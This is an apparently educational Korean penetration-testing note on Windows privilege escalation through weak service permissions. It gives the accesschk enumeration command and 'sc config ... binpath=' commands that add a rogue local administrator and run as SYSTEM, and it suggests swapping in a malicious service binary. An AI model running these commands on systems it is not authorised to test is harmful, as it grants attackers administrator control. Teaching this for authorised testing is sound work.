모의해킹
호스트기반모의해킹_42_윈도우 서비스 권한 악용
작성자 : Heehyeon Yoo|2025-12-14
# 모의해킹# Post-Exploitation# Windows# Privilege Escalation# Service Abuse
1. 개요
윈도우 서비스 자체의 권한 설정(Service Permissions)이 잘못되어 있는 경우, 낮은 권한의 사용자가 서비스의 구성(Configuration)을 변경할 수 있다.
특히 서비스가 실행하는 실행 파일의 경로인 **binpath(Binary Path)**를 변경할 수 있다면, 이를 악성 파일이나 명령어로 교체하여 시스템(SYSTEM) 권한으로 임의의 코드를 실행할 수 있다.
2. 취약점 식별(Enumeration)
서비스 권한을 확인하기 위해 Sysinternals의 accesschk 도구가 가장 많이 사용된다.
2.1 AccessChk 사용
# 현재 사용자(user)가 쓰기 권한을 가진 서비스 확인
accesschk.exe /accepteula -uwcqv [UserName] *
-u: 에러 무시.-w: 쓰기 권한이 있는 객체만 표시.-c: 서비스 이름 표시.-q: 상세 정보 표시 안 함(간략히).-v: 상세 권한 표시(Verbose).
2.2 핵심 권한(Critical Permissions)
결과에서 다음 권한이 확인되면 공격이 가능하다.
- SERVICE_ALL_ACCESS: 모든 권한(서비스 시작/중지, 설정 변경 등).
- SERVICE_CHANGE_CONFIG: 서비스 설정 변경 권한(
binpath수정 가능). - SERVICE_START / SERVICE_STOP: 서비스 재시작 권한(변경된 설정 적용을 위해 필요).
3. 공격 실행(Exploitation)
취약한 서비스(예: AbyssWebServer)를 찾았다고 가정한다.
3.1 서비스 정보 확인
sc qc AbyssWebServer
# 결과 중 BINARY_PATH_NAME 확인
3.2 BinPath 변경(Config Modification)
sc config 명령어를 사용하여 서비스가 실행할 경로를 공격자가 원하는 명령어(로컬 관리자 추가)로 변경한다.
sc config AbyssWebServer binpath= "net localgroup Administrators RedRaccoon /add"
- 주의:
binpath=뒤에 반드시 공백(Space)이 하나 있어야 한다.(윈도우 sc 명령어 문법).
3.3 서비스 재시작
설정을 변경했다면, 서비스를 재시작하여 변경된 binpath가 실행되도록 한다.
sc stop AbyssWebServer
sc start AbyssWebServer
sc start시 에러가 발생할 수 있다.(우리가 넣은 명령어가 서비스 바이너리 규격을 따르지 않기 때문).- 상관없음: 에러와 무관하게 명령어 자체는 실행되었으므로, 그룹 멤버십을 확인해보면 공격이 성공했음을 알 수 있다.
4. 실무 팁
- 바이너리 덮어쓰기: 만약
binpath수정 권한은 없지만, 서비스 실행 파일 자체에 쓰기 권한이 있다면? -> 원본 exe 파일을 백업하고 악성 exe로 덮어씌운 뒤 재시작하면 된다.(단, 이는 파괴적인 공격이므로 주의). - 복구: 실습 후에는 반드시
binpath를 원상복구 해두어야 한다.